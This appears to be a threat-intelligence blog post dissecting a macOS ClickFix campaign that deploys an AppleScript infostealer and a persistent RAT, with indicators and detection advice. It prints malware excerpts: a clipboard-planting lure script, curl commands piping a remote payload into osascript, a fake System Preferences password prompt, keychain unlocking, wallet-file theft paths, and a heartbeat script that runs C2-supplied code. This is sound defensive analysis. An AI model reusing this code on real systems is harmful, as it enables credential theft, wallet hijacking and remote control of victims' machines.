macOS ClickFix Lures Deploy AppleScript Stealer & Persistent RAT

June 17, 2026

In April 2026, Netskope Threat Labs reported a ClickFix campaign delivering an AppleScript-based infostealer to macOS users, pilfering sensitive data through a persistent fake system dialog. Through our continuous monitoring of this ClickFix activity, we intercepted a new, upgraded campaign on May 31, 2026, coming from a Russian-speaking attacker. This latest campaign differs from the earlier campaigns we reported in that it includes a full-featured remote access trojan instead of a simple stealer.

Netskope Telemetry reveals this active variant expanded across 25 short-lived lure domains, targeting victims mainly in Asia, North America, and Oceania, across multiple segments led by technology, media, and business services sectors. To evade detection, the entire infection chain, starting from the initial clipboard paste to payload execution, is completely fileless, leaving no static artifacts on disk until persistence is established. Victims are socially engineered into executing a curl command that fetches a gzip-compressed stager, which pipes the second-stage AppleScript directly into osascript memory.

Similar to our previous findings, the second-stage payload is self-branded “Meow (DEBUG)” within its internal metadata. It uses a persistent fake system dialog to harvest credentials, browser data, session cookies, and keychain contents. However, this variant goes well beyond a traditional infostealer by executing an invasive post-compromise routine:

  • Crypto wallet hijacking: It terminates legitimate desktop cryptocurrency wallet applications and swaps their core files with trojanized components, bypassing native OS code-signing protections.
  • Spoofed system persistence: It establishes long-term access by installing a background configuration file disguised as a legitimate Apple system account process.
  • Interactive remote access: It maintains a persistent command-and-control (C2) beaconing loop, allowing the operator to remotely execute payloads and retask the infected host at will.

Key findings

  • Fileless execution chain: From clipboard paste through credential theft and data exfiltration, no file is written to disk. The stage 1 loader runs entirely in memory by evaluating a gzip-compressed, base64-encoded heredoc. From there, the stage 2 AppleScript payload pipes straight into osascript memory. The only artifacts written to disk are the persistence plist and service binary, installed only after the victim’s data has already been exfiltrated.
  • CIS-aware targeting: The stage 1 loader runs entirely in memory by evaluating a gzip-compressed, base64-encoded heredoc.  The stage 1 loader checks the macOS keyboard layout state from ~/Library/Preferences/com.apple.HIToolbox.plist and exits silently if Russian input is enabled. This is a precise geofencing filter that marks the campaign as deliberately avoiding Russian-speaking victims, though the code still reports telemetry back to the C2 when a host is skipped.
  • Wallet application injection with ad-hoc re-signing The malware targets five specific desktop cryptocurrency wallets for application code replacement. It terminates the running process of a targeted app and overwrites the core app.asar file within the Electron application bundle with a trojanized version. It then runs codesign -f -d -s to force an ad-hoc re-sign. This step restores a structurally valid signature, allowing the modified bundle to launch cleanly without triggering native Gatekeeper warnings.
  • Persistent RAT disguised as Apple account sync The installed LaunchDaemon or LaunchAgent uses the label com.apple.accountsd, matching the name of Apple’s legitimate account synchronization daemon. The persistence agent polls C2 every 60 seconds and executes the server’s response in a write-then-delete pattern (/tmp/.c.sh), giving the operator full arbitrary code execution on any host that ran the payload.

Delivery: From Lure Page to osascript

The campaign relies on a classic ClickFix social engineering framework. Victims are tricked into visiting a compromised or attacker-controlled website that instructs them to copy and execute a terminal command manually. We observed three distinct landing page variations rotated across the infrastructure:

  1. Fake macOS utility page: Branded as “StellarScan Solutions” and presented as a legitimate macOS optimization or malware scanning utility.
  1. Fake GitHub repository page: Mimics a trusted code repository layout to deceive victims.
  1. Localized IT support page: A highly targeted variation masquerading as a macOS support and IT services provider based in Berlin. While this specific layout variant was caught in a passive state (not actively serving the ClickFix stager at the time of analysis), its presence demonstrates infrastructure rotation and a shift toward localized social engineering personas.

All active variants serve an identical JavaScript file, page-loader.js, hosted at the static path /links/page-loader.js across every active lure domain. The script fetches the payload command from a companion file (links/data.txt) and populates it into a #cmd DOM element. When a victim interacts with the fake page and clicks #copyBtn, the code uses the Web Clipboard API to silently drop the execution string onto the user’s clipboard:

document.addEventListener("DOMContentLoaded", async () => {
  const input = document.getElementById("cmd");
  const btn = document.getElementById("copyBtn");
  // Загружаем текст из файла
  try {
    const response = await fetch("links/data.txt");
    const text = await response.text();
    input.value = text.trim();
  } catch (e) {
    console.error("Ошибка загрузки data.txt:", e);
  }
  if (btn && input) {
    btn.addEventListener("click", async () => {
      await navigator.clipboard.writeText(input.value);

The inline comments are in Russian, consistent with the CIS geofencing logic in the loader and a pattern we return to in the attribution section. Executing the clipboard command in Terminal fetches a zsh script embedded as a gzip+base64 heredoc and immediately evals the content. This execution keeps the decoded stage 1 loader entirely in memory, avoiding the local disk completely.

Stage 1 loader: profile, filter, fetch

The decoded loader performs four actions before it does anything destructive:

  1. CIS geofencing: The loader reads the macOS keyboard input source list from `~/Library/Preferences/com.apple.HIToolbox.plist` and searches for a Russian keyboard layout. If found, it posts a `cis_blocked` event to the C2 and exits:
IS_CIS="false"
if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then
    IS_CIS="true"
fi

...

if [ "$IS_CIS" = "true" ]; then
    send_debug_event "cis_blocked" >/dev/null 2>&1
    exit 0
fi
  1. Victim telemetry beacon: Before fetching any payload, the loader posts a JSON beacon to hxxps://qwqerrqwr2145qw[.]com/api/debug/event. This traffic contains the victim’s external IP, locale details, hostname, OS version, CIS status, and a campaign build hash (3447ad192726ee391881be6e86c7eeab).
send_debug_event() {
    local EVT="$1"
    local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "3447ad192726ee391881be6e86c7eeab" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER")
    curl -s -X POST "https://qwqerrqwr2145qw[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1
}
  1. Fileless payload fetch: The loader runs a daemon_function that closes all file descriptors (exec </dev/null, exec >/dev/null, exec 2>/dev/null), detaches to the background, and fetches the AppleScript payload with a spoofed Chrome user-agent string. The pipe to osascript means the AppleScript payload is never written to disk. Afterward, the process stops immediately, closing the Terminal while stage 2 runs detached in the background.
daemon_function() {
    exec </dev/null
    exec >/dev/null
    exec 2>/dev/null
    curl -k -s --max-time 30 \
      -H "User-Agent: Mozilla/5.0 ..." \
      "hxxps://qwqerrqwr2145qw[.]com/debug/payload.applescript?build=3447ad192726ee391881be6e86c7eeab" \  | osascript
}
daemon_function "$@" &
exit 0

Lure Domains

The 24 confirmed lure domains, their observed rotation lifecycles, and the corresponding enterprise tenant hit counts recorded in Netskope telemetry are summarized below:

DomainFirst SeenLast Seen
filesapphirecanvas[.]sbs2026-05-31 2026-05-31
filemintcastle[.]sbs2026-06-02 2026-06-02 
filecobaltharbor[.]sbs2026-06-022026-06-02
stellarnodegrid8[.]cyou2026-06-022026-06-04
filecopperforest[.]online2026-06-032026-06-03
filejadewallet[.]online2026-06-032026-06-03
cyberdriftmatrix8[.]cyou2026-06-042026-06-04
fileivoryharbor[.]cyou2026-06-042026-06-04
filesapphiretower[.]cyou2026-06-052026-06-05
cyberdriftmatrix9[.]cyou2026-06-052026-06-07
fileopalvoyage[.]cyou2026-06-062026-06-06
stellarnodegrid1[.]cyou2026-06-072026-06-08
tensorforgegrid1[.]lol2026-06-082026-06-08
tensorforgegrid3[.]lol2026-06-092026-06-09
tensorforgegrid4[.]lol2026-06-092026-06-09
tensorforgegrid5[.]lol2026-06-102026-06-10
meadowfileengine[.]com2026-06-102026-06-10
crystalfilehaven[.]com2026-06-102026-06-10
filesilverharbor[.]com2026-06-072026-06-07
filepearlsignal[.]com2026-06-082026-06-08
fileautumncastle[.]com2026-06-092026-06-09
filecedarcanvas[.]com2026-06-092026-06-09
fileprairiestudio[.]com2026-06-102026-06-10
pa2373[.]com2026-06-102026-06-11

All domains proxy through Cloudflare. All share the same registrar admin contact email (dbc9a6801423efc7s@ghastlier[.]com), which also ties the two C2 domains (qwqerrqwr2145qw[.]com, scope-quest[.]com) to the same operator. Domain naming clusters into two families: file* (19 domains), and cyberdrift/stellar/tensorforge + keyword + number (4 domains), with two outlier domains (meadowfileengine[.]com, pa2373[.]com) and one fake-GitHub variant (crystalfilehaven[.]com).

Stage 2 payload: “Meow”

Once stage 1 completes, the fetched AppleScript payload executes via osascript entirely in memory. It is a single AppleScript file self-labeled “Meow (DEBUG)” in its internal metadata, not seen on VirusTotal at time of discovery. The capabilities are detailed in the sections below.

Password harvesting via fake system dialog

Before collecting any data, the payload attempts to obtain the user’s login password through a spoofed macOS system dialog. The dialog impersonates System Preferences, uses a legitimate system icon (LockedIcon.icns), and prompts the user to enter their password to “update settings”: a technique consistent with what we observed in our previous macOS ClickFix coverage.

on getpwd(username, writemind, provided_password)
  set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
  set result to display dialog "You should update the settings to launch the application." \
    default answer "" with icon imagePath \
    buttons {"Continue"} default button "Continue" \
    giving up after 150 with title "System Preferences" \
    with hidden answer
  set password_entered to text returned of result
  if checkvalid(username, password_entered) then
    writeText("VALID: " & password_entered, writemind & "Password")

Password validation is performed with dscl . authonly <username> <password>, a legitimate macOS directory services call. The payload retries up to 10 times before giving up. A valid password is written to the staging directory and also used immediately to unlock the login keychain for Safe Storage key extraction, described in the next section.

The payload targets a broad array of browsers, including Chrome, Brave, Edge, Opera, OperaGX, Vivaldi, Orion, Sidekick, Chrome Canary, Chromium, Chrome Dev, Arc, Coccoc, Chrome Beta, Firefox, Safari.

For each Chromium profile, the payload copies: Login Data, Cookies, Network/Cookies, Web Data, Local Extension Settings, and IndexedDB. For Firefox, it copies cookies.sqlite, logins.json, key4.db, cert9.db, places.sqlite, and formhistory.sqlite. For Safari, it copies Cookies.binarycookies, Form Values (autofill), and History.db.     

Beginning with macOS Tahoe (26), Safe Storage keys require a keychain unlock. To bypass this, the payload abuses the victim’s harvested password to unlock the login keychain, allowing it to extract the Safe Storage keys for Chrome, Brave, and Microsoft Edge directly.

do shell script "security unlock-keychain -p " & quoted form of password_entered \
  & " ~/Library/Keychains/login.keychain-db"
set chromeKey to do shell script \
  "security find-generic-password -ga 'Chrome' -w ~/Library/Keychains/login.keychain-db 2>/dev/null"

Crypto wallet extension and desktop wallet theft

The payload targets over 100 Chromium browser extension IDs associated with cryptocurrency wallets, MetaMask (nkbihfbeogaeaoehlefnkodbefgpgknn) among them, copying Local Extension Settings and IndexedDB for each matched extension across all browser profiles.

While our previous macOS ClickFix coverage identified 16 targeted standalone wallets, this variant expands it to 25. It similarly sweeps up entire wallet directories, which frequently contain active wallet files, transaction histories, and unencrypted seed phrases or private keys left behind in configuration files.

set walletMap to {}
set walletMap to walletMap & {{"Wallets/Desktop/Exodus",     library & "Exodus/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum",   profile & "/.electrum/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Atomic",     library & "atomic/Local Storage/leveldb/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Guarda",     library & "Guarda/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Coinomi",    library & "Coinomi/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Sparrow",    profile & "/.sparrow/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Wasabi",     profile & "/.walletwasabi/client/Wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Bitcoin_Core", library & "Bitcoin/wallets/"}}
-- ... 25 desktop wallets total

The full keychain directory (~/Library/Keychains/) is also copied recursively.

Messaging platform and gaming account theft

Beyond credentials and wallets, the payload collects session data from three additional platforms:

Telegram – Copies the tdata/ directory from ~/Library/Application Support/Telegram Desktop/, specifically targeting 16-character hexadecimal subdirectories and the key_datas file, and the session storage format for Telegram Desktop.

Discord –  Enumerates four Discord installation variants (discord, discordcanary, discordptb, discorddevelopment), and copies Local Storage/leveldb/ from each, the location of Discord authentication tokens.

Steam –  Copies config/loginusers.vdf, config/config.vdf, and any ssfn* files, and the session and authentication files for Steam’s “Remember Me” functionality.

File grab and Apple Notes

The payload performs a targeted file grab from ~/Desktop and ~/Documents to a depth of three directories. The extension list covers document, credential, and key formats:

set docExtensions to {"docx", "doc", "wallet", "key", "keys", "txt", "rtf", "csv", "xls", "xlsx", "json", "rdp"}
set imgExtensions to {"png"}

The grabber applies size and count limits per file type to keep the collection manageable before exfiltration.

Apple Notes is collected via direct SQLite copy: ~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite, plus associated media attachments up to 30MB total.

Data exfiltration

All collected data is staged under /tmp/shub_<7-digit-random>/ and compressed to /tmp/shub_log.zip using ditto. The archive is then posted to the gate endpoint:

  • Gate URL: https://qwqerrqwr2145qw[.]com/gate
  • API key: 15c1f07222c4441a0251e05d241ee3ef6697db7fa5ea8eaa64ef51e174e945b6
  • Build ID: 948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236

Wallet application injection

Once exfiltration completes, the malware shifts focus to the local filesystem, attempting to overwrite the core app.asar files across five specific desktop wallets, including Exodus, Atomic Wallet, Ledger Wallet, Ledger Live, and Trezor Suite.

The injection sequence for each target:

  1. Check whether the application is installed
  2. Download a zip archive from the C2 gate (/exodus-asar, /atomic-asar, /ledger-asar, /ledgerlive-asar, /trezor-asar)
  3. Extract the replacement app.asar
  4. Kill the running application with pkill -9
  5. Overwrite the application bundle’s `app.asar` with the trojanized version
  6. Ad-hoc re-sign the application bundle: do shell script "codesign -f -d -s - " & quoted form of exodusPath

The codesign -f -d -s command forces an ad-hoc signature (-f overwrite, -d digest-only, -s ad-hoc identity), a valid but untrusted code signature that Gatekeeper will not flag on first launch after re-signing. The victim’s wallet application opens normally after this operation. We do not have the content of the injected app.asar files and make no claims about their specific behavior beyond what the injection code itself shows.

Persistence: LaunchDaemon and RAT heartbeat

The payload installs a persistence mechanism whose form depends on whether a valid password was obtained.

With a valid password (root) –  A LaunchDaemon is written to /Library/LaunchDaemons/com.apple.accountsd.plist with a service binary placed at /Library/Application Support/.com.apple.accountsd/.service. This requires root access, obtained via the harvested password.

Without a valid password (user-level fallback)  A LaunchAgent is written to ~/Library/LaunchAgents/com.apple.accountsd.plist.

In both cases the plist label is com.apple.accountsd, matching Apple’s legitimate account synchronization daemon. The StartInterval is set to 60 seconds.

#!/bin/bash
GATE_URL="https://qwqerrqwr2145qw.com"
BOT_ID=$(ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}')
BUILD_ID="948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236"
RESP=$(curl -s -X POST "$GATE_URL/api/bot/heartbeat" \
  -H "Content-Type: application/json" \
  -d '{"bot_id":"'"$BOT_ID"'","build_id":"'"$BUILD_ID"'","hostname":"'"$HOSTNAME"'","ip":"'"$IP"'","os_version":"'"$OS_VER"'"}')
CODE=$(echo "$RESP" | sed -n 's/.*"code":"\([^"]*\)".*/\1/p')
if [ -n "$CODE" ]; then
  echo "$CODE" | base64 -d > /tmp/.c.sh && chmod +x /tmp/.c.sh && /tmp/.c.sh; rm -f /tmp/.c.sh
fi

Each beacon includes the host’s IOPlatformUUID as the bot identifier. When the C2 response contains a "code" field, the base64-decoded content is written to /tmp/.c.sh, executed, and immediately deleted. This gives the operator full arbitrary code execution on the host, persistent and renewable every 60 seconds.

Conclusions

This campaign is a compact illustration of how far a purely scripted macOS payload can reach. No Mach-O binaries, no kernel exploits, no zero-days, just zsh, AppleScript, and the macOS toolchain used against itself. The code injection routine completely separates this campaign from typical infostealers. Here, a successful compromise doesn’t simply end once the stolen archive uploads to the attacker’s server. Every wallet transaction the victim makes after the fact goes through the attacker’s modified app.asar.

Defenders should prioritize detection directly at the delivery layer. Intercepting the lure domains and page-loader.js before a user copies the clipboard command remains the most effective intervention point. For hosts that may have already been compromised, the com.apple.accountsd LaunchDaemon/Agent is a reliable forensic indicator, as is the /Library/Application Support/.com.apple.accountsd/ directory and the /tmp/shub_ staging path pattern. Any desktop wallet installation on a potentially affected Mac should be treated as untrusted and reinstalled from a verified source.

Netskope Threat Labs will continue to monitor this campaign and update detection coverage as new lure domains are identified.

IOCs

All the IOCs and scripts related to this malware can be found in our GitHub repository.

author image

Jan Michael Alcantara

Jan Michael Alcantara is an experienced incident responder with a background on forensics, threat hunting, and incident analysis.
Jan Michael Alcantara is an experienced incident responder with a background on forensics, threat hunting, and incident analysis.
Keep a close eye on The Lens